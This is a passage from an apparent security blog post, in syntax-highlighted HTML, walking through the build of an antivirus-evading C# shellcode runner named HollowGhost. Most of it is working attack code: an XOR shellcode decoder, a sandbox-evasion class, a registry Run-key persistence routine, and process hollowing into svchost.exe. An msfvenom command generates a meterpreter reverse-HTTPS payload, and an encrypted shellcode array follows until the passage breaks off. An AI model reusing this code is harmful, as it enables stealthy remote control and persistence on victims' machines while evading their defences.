class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xea</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0x6b</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x5b</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xde</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0xcc</span><span class="p">,</span> <span class="m">0x21</span><span class="p">,</span> <span class="m">0xad</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0xdf</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0xb7</span><span class="p">,</span> <span class="m">0x80</span><span class="p">,</span> <span class="m">0xa0</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x7f</span> <span class="p">};</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)(((</span><span class="kt">uint</span><span class="p">)</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">^</span> <span class="m">0xAA</span><span class="p">)</span> <span class="p">&amp;</span> <span class="m">0xFF</span><span class="p">);</span>
            <span class="p">}</span> 
</code></pre></div></div>

<p>Now, to scan the file once again:</p>

<p><img src="/assets/images/custom-xor-results-743x1024.png" alt="custom-xor-results" /></p>

<p>There is no change in detection rating when using a custom XOR encrypter for the payload.</p>

<p>Therefore, we will disregard our custom XOR encrypter and continue the rest of the testing with the XOR payload generated by MSFVenom.</p>

<p>Quite a few other things could be done to obfuscate this shellcode more, but I did not find it necessary in the end.</p>

<h2 id="sandbox-evasion">Sandbox Evasion</h2>

<p>Given that the attempts to bring down the detection rate by encrypting the payload were unsuccessful, it’s time we turned our attention towards sandbox evasion.</p>

<p>In the context of antivirus software, there is technically a difference between emulators and stand-alone sandboxes, but that is outside the scope of this post.</p>

<p>So, to keep things simple, I will use the terms “emulator” and “sandbox” interchangeably.</p>

<p>Modern antivirus software employs emulators or sandboxed environments when performing heuristic analysis.</p>

<p>Simply put, this means that each time our PE file is scanned, the antivirus will attempt to execute the program within an emulator to determine how the program behaves and if that behavior is malicious.</p>

<p>However, quite a few tricks can be used to bypass this emulation.</p>

<p>We will use several emulation evasion methods in this section and rate their efficacy.</p>

<h3 id="keeping-things-tidy-">Keeping Things Tidy 🧹</h3>

<p>To implement the sandbox evasion code without muddying my <strong>Program.cs</strong> file, I first created a new folder in the project directory in Visual Studio 2022 named <strong>Modules</strong>.</p>

<p>I then created a sub-directory called <strong>Evasion</strong>.</p>

<p>Now, to keep all of the emulation evasion code in one place, I created an external class named <strong>Evasion.cs</strong>.</p>

<p><img src="/assets/images/evasion-cs-ext-class.png" alt="evasion-cs-ext-class" /></p>

<h3 id="implementing-the-emulation-evasion-code">Implementing The Emulation Evasion Code</h3>

<p>With the <strong>Evasion.cs</strong> external class created, I created several public methods within the class that each utilize a different emulation bypass technique.</p>

<p>The final version of the <strong>Evasion.cs</strong> code looked like this:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">namespace</span> <span class="nn">HollowGhost.Modules.Evasion</span>
<span class="p">{</span>
    <span class="k">internal</span> <span class="k">class</span> <span class="nc">Evasion</span>
    <span class="p">{</span>
        <span class="c1">//DLL Import Sleep for SleepTimer evasion code</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="k">void</span> <span class="nf">Sleep</span><span class="p">(</span><span class="kt">uint</span> <span class="n">dwMilliseconds</span><span class="p">);</span>
        <span class="c1">//Method for SleepTimer to evade sandbox emulation</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">SleepTimer</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="n">DateTime</span> <span class="n">t1</span> <span class="p">=</span> <span class="n">DateTime</span><span class="p">.</span><span class="n">Now</span><span class="p">;</span>
            <span class="nf">Sleep</span><span class="p">(</span><span class="m">2000</span><span class="p">);</span>
            <span class="kt">double</span> <span class="n">t2</span> <span class="p">=</span> <span class="n">DateTime</span><span class="p">.</span><span class="n">Now</span><span class="p">.</span><span class="nf">Subtract</span><span class="p">(</span><span class="n">t1</span><span class="p">).</span><span class="n">TotalSeconds</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">t2</span> <span class="p">&lt;</span> <span class="m">1.5</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="c1">// DLL import for VirtualAllocExNuma so we can use this Non Emulated API to aid in evasion</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">ExactSpelling</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">VirtualAllocExNuma</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwSize</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">flAllocationType</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">flProtect</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">nndPreferred</span><span class="p">);</span>
        <span class="c1">// We also need GetCurrentProcess for our VirtualAllocExNuma code</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">GetCurrentProcess</span><span class="p">();</span>
        <span class="c1">// DLL import for FlsAlloc so we can use this Non Emulated API to aid in evasion</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">FlsAlloc</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">callback</span><span class="p">);</span>
        <span class="c1">// The below code uses 2 Non Emulated APIs to evade sandboxes</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">NonEmulatedAPIs</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="n">IntPtr</span> <span class="n">mem</span> <span class="p">=</span> <span class="nf">VirtualAllocExNuma</span><span class="p">(</span><span class="nf">GetCurrentProcess</span><span class="p">(),</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="m">0x1000</span><span class="p">,</span> <span class="m">0x3000</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">mem</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">IntPtr</span> <span class="n">ptrCheck</span> <span class="p">=</span> <span class="nf">FlsAlloc</span><span class="p">(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">ptrCheck</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="c1">// This fills 1 GB of memory to try to bypass sandbox emulation</span>
        <span class="c1">// Allocates a ~1.07GB byte array and zeroes it out, then checks if the last value is equal to 0. The theory is that an antivirus engine will forgo zeroing out all this memory, thus the program will quit before the shellcode runner can be examined.</span>
        <span class="c1">// https://github.com/cinzinga/Evasion-Practice</span>
        <span class="c1">// If priority is to bypass emulation you could leave it at 1 GB, but if priority is to avoid detection by blue team/end users, bring memory usage down to 100 MB so it doesn't stand out as much</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">FillMemoryBypass</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="kt">byte</span> <span class="n">zeroVal</span> <span class="p">=</span> <span class="m">1</span><span class="p">;</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">evdata</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">32768</span> <span class="p">*</span> <span class="m">32768</span><span class="p">];</span>
            <span class="n">Array</span><span class="p">.</span><span class="nf">Clear</span><span class="p">(</span><span class="n">evdata</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">evdata</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
            <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"~1GB filled!"</span><span class="p">);</span>
            <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="m">1000</span><span class="p">);</span>
            <span class="kt">byte</span> <span class="n">lastVal</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)</span><span class="n">evdata</span><span class="p">.</span><span class="nf">GetValue</span><span class="p">((</span><span class="m">32768</span> <span class="p">*</span> <span class="m">32768</span><span class="p">)</span> <span class="p">-</span> <span class="m">1</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">lastVal</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">zeroVal</span><span class="p">))</span>
            <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="c1">// Perform for loop 900 million times, this is not a lot for a modern CPU but is enough to trick up an emulator, continue execution flow after complete</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">ManyIterations</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="kt">int</span> <span class="n">count</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
            <span class="kt">int</span> <span class="n">max</span> <span class="p">=</span> <span class="m">900000000</span><span class="p">;</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">max</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="n">count</span><span class="p">++;</span>
            <span class="p">}</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="p">==</span> <span class="n">max</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="c1">// Code taken from: https://redfoxsecurity.medium.com/antivirus-evasion-26a30f072f76</span>
        <span class="c1">// Verify PE filename, sandboxes usually change the name of the EXE, here we check if the filename has been changed, if so, we stop execution</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">FilenameCheck</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="kt">string</span> <span class="n">exename</span> <span class="p">=</span> <span class="s">"HollowGhost"</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">Path</span><span class="p">.</span><span class="nf">GetFileNameWithoutExtension</span><span class="p">(</span><span class="n">Environment</span><span class="p">.</span><span class="nf">GetCommandLineArgs</span><span class="p">()[</span><span class="m">0</span><span class="p">])</span> <span class="p">!=</span> <span class="n">exename</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
 
</code></pre></div></div>

<p>I found the majority of these emulation bypass techniques via this excellent paper by Emeric Nasi:</p>

<p><a href="https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf">https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf</a></p>

<p>I was saved the work of converting these techniques to C# thanks to this GitHub repository:</p>

<p><a href="https://github.com/cinzinga/Evasion-Practice">https://github.com/cinzinga/Evasion-Practice</a></p>

<p>The file name check code I borrowed from this post by RedFox Security:</p>

<p><a href="https://redfoxsecurity.medium.com/antivirus-evasion-26a30f072f76">https://redfoxsecurity.medium.com/antivirus-evasion-26a30f072f76</a></p>

<p>With the methods set up in the <strong>Evasion.cs</strong> external class, we can now call them in the <strong>Main</strong> method of our <strong>Program.cs</strong> file.</p>

<p>First, make sure the namespace for <strong>Evasion.cs</strong> is imported:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">HollowGhost.Modules.Evasion</span><span class="p">;</span> 
</code></pre></div></div>

<p>Now, I call the public methods in <strong>Main</strong>:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">// Run sandbox/emulation evasion first before executing our shellcode</span>
            <span class="c1">// First check if the PE filename has been changed</span>
            <span class="n">Evasion</span><span class="p">.</span><span class="nf">FilenameCheck</span><span class="p">();</span>
            <span class="c1">// Use our Non Emulated APIs to mess up emulator</span>
            <span class="n">Evasion</span><span class="p">.</span><span class="nf">NonEmulatedAPIs</span><span class="p">();</span>
            <span class="c1">// Run the Sleep Timer, if time lapse is less that 1.5 seconds probably in emulator, so we exit before executing shellcode</span>
            <span class="n">Evasion</span><span class="p">.</span><span class="nf">SleepTimer</span><span class="p">();</span>
            <span class="c1">// Run memory fill to evade evasion</span>
            <span class="n">Evasion</span><span class="p">.</span><span class="nf">FillMemoryBypass</span><span class="p">();</span>
            <span class="c1">// Perform many iterations of for loop, 900 million, to trip up emulator</span>
            <span class="n">Evasion</span><span class="p">.</span><span class="nf">ManyIterations</span><span class="p">();</span>
            <span class="c1">// After evasion is performed we finally call the runner</span>
            <span class="nf">Run</span><span class="p">();</span>
        <span class="p">}</span> 
</code></pre></div></div>

<p>I know what you may be thinking: “<em>Why the hell do you need that much sandbox evasion?</em>”</p>

<p>Well, I don’t, and neither do you.</p>

<p>Eventually, this will be narrowed down to one technique.</p>

<p>Before we test each one, I have a confession to make…</p>

<p>During this point in my testing, I added an extra bit of code for persistence.</p>

<p>My goal at the time was to have this shellcode runner not only undetectable but also persistent.</p>

<p>This later came back to bite me in the ass, and I will show that. 😅</p>

<p>But just so we are all on the same page regarding the detection results, I thought I should tell you.</p>

<h3 id="persistence-is-key-">Persistence Is Key 🔑</h3>

<p>Just as before, I created an external class aptly named <strong>Persistence.cs</strong>:</p>

<p><img src="/assets/images/persistence-cs-ext-class.png" alt="persistence-cs-ext-class" /></p>

<p>The code contained in this external class writes to the registry, creating a new registry key value that will cause the HollowGhost.exe file to be executed at startup:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">Microsoft.Win32</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
<span class="k">namespace</span> <span class="nn">HollowGhost.Modules.Persistence</span>
<span class="p">{</span>
    <span class="k">internal</span> <span class="k">class</span> <span class="nc">Persistence</span>
    <span class="p">{</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">ExecOnStartup</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="c1">// startup</span>
            <span class="c1">// define the path to the file you want to execute on startup</span>
            <span class="kt">string</span> <span class="n">filePath</span> <span class="p">=</span> <span class="s">@"C:\Windows\Tasks\HollowGhost.exe"</span><span class="p">;</span>
            <span class="c1">// add the file to the registry key to execute on startup</span>
            <span class="n">RegistryKey</span> <span class="n">rk</span> <span class="p">=</span> <span class="n">Registry</span><span class="p">.</span><span class="n">CurrentUser</span><span class="p">.</span><span class="nf">OpenSubKey</span><span class="p">(</span><span class="s">"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
            <span class="n">rk</span><span class="p">.</span><span class="nf">SetValue</span><span class="p">(</span><span class="n">Path</span><span class="p">.</span><span class="nf">GetFileNameWithoutExtension</span><span class="p">(</span><span class="n">filePath</span><span class="p">),</span> <span class="n">filePath</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
 
</code></pre></div></div>

<p>I set the file path to execute the PE file from within <code class="language-plaintext highlighter-rouge">C:\Windows\Tasks</code> since this directory is often whitelisted by AppLocker on Windows systems.</p>

<p>Import the namespace in <strong>Program.cs</strong>:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">HollowGhost.Modules.Persistence</span><span class="p">;</span> 
</code></pre></div></div>

<p>I then implemented the call to the <strong>ExecOnStartup()</strong> method.</p>

<p>However, you may have noticed earlier that the shellcode runner code is no longer in the <strong>Main</strong> method.</p>

<p>That is because I wanted a separate method in <strong>Program.cs</strong> to carry out the process hollowing and run the shellcode.</p>

<p>So, I created a new method called <strong>Run</strong>.</p>

<p>This is where the call to <strong>ExecOnStartup()</strong> will be stored, only being called after the process hollowing has occurred:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">static</span> <span class="k">void</span> <span class="nf">Run</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">STARTUPINFO</span><span class="p">();</span>
            <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_INFORMATION</span><span class="p">();</span>
            <span class="kt">bool</span> <span class="n">res</span> <span class="p">=</span> <span class="nf">CreateProcess</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="s">"C:\\Windows\\System32\\svchost.exe"</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span>
                <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">ref</span> <span class="n">si</span><span class="p">,</span> <span class="k">out</span> <span class="n">pi</span><span class="p">);</span>
            <span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">bi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_BASIC_INFORMATION</span><span class="p">();</span>
            <span class="kt">uint</span> <span class="n">tmp</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
            <span class="n">IntPtr</span> <span class="n">hProcess</span> <span class="p">=</span> <span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">;</span>
            <span class="nf">ZwQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">ref</span> <span class="n">bi</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Size</span> <span class="p">*</span> <span class="m">6</span><span class="p">),</span> <span class="k">ref</span> <span class="n">tmp</span><span class="p">);</span>
            <span class="n">IntPtr</span> <span class="n">ptrToImageBase</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)((</span><span class="n">Int64</span><span class="p">)</span><span class="n">bi</span><span class="p">.</span><span class="n">PebAddress</span> <span class="p">+</span> <span class="m">0x10</span><span class="p">);</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">addrBuf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Size</span><span class="p">];</span>
            <span class="n">IntPtr</span> <span class="n">nRead</span> <span class="p">=</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">;</span>
            <span class="nf">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">ptrToImageBase</span><span class="p">,</span> <span class="n">addrBuf</span><span class="p">,</span> <span class="n">addrBuf</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="n">IntPtr</span> <span class="n">svchostBase</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)(</span><span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToInt64</span><span class="p">(</span><span class="n">addrBuf</span><span class="p">,</span> <span class="m">0</span><span class="p">));</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">data</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">0x200</span><span class="p">];</span>
            <span class="nf">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">svchostBase</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">data</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="kt">uint</span> <span class="n">e_lfanew_offset</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToUInt32</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="m">0x3C</span><span class="p">);</span>
            <span class="kt">uint</span> <span class="n">opthdr</span> <span class="p">=</span> <span class="n">e_lfanew_offset</span> <span class="p">+</span> <span class="m">0x28</span><span class="p">;</span>
            <span class="kt">uint</span> <span class="n">entrypoint_rva</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToUInt32</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">opthdr</span><span class="p">);</span>
            <span class="n">IntPtr</span> <span class="n">addressOfEntryPoint</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)(</span><span class="n">entrypoint_rva</span> <span class="p">+</span> <span class="p">(</span><span class="n">UInt64</span><span class="p">)</span><span class="n">svchostBase</span><span class="p">);</span>
            <span class="c1">// Generate XOR shellcode with MSFVenom: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.x.x LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key z -i 20 | tr -d 'nr'</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">buf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">804</span><span class="p">]</span> <span class="p">{</span> <span class="m">0x86</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x9e</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0xb6</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x1a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xcd</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x06</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x98</span><span 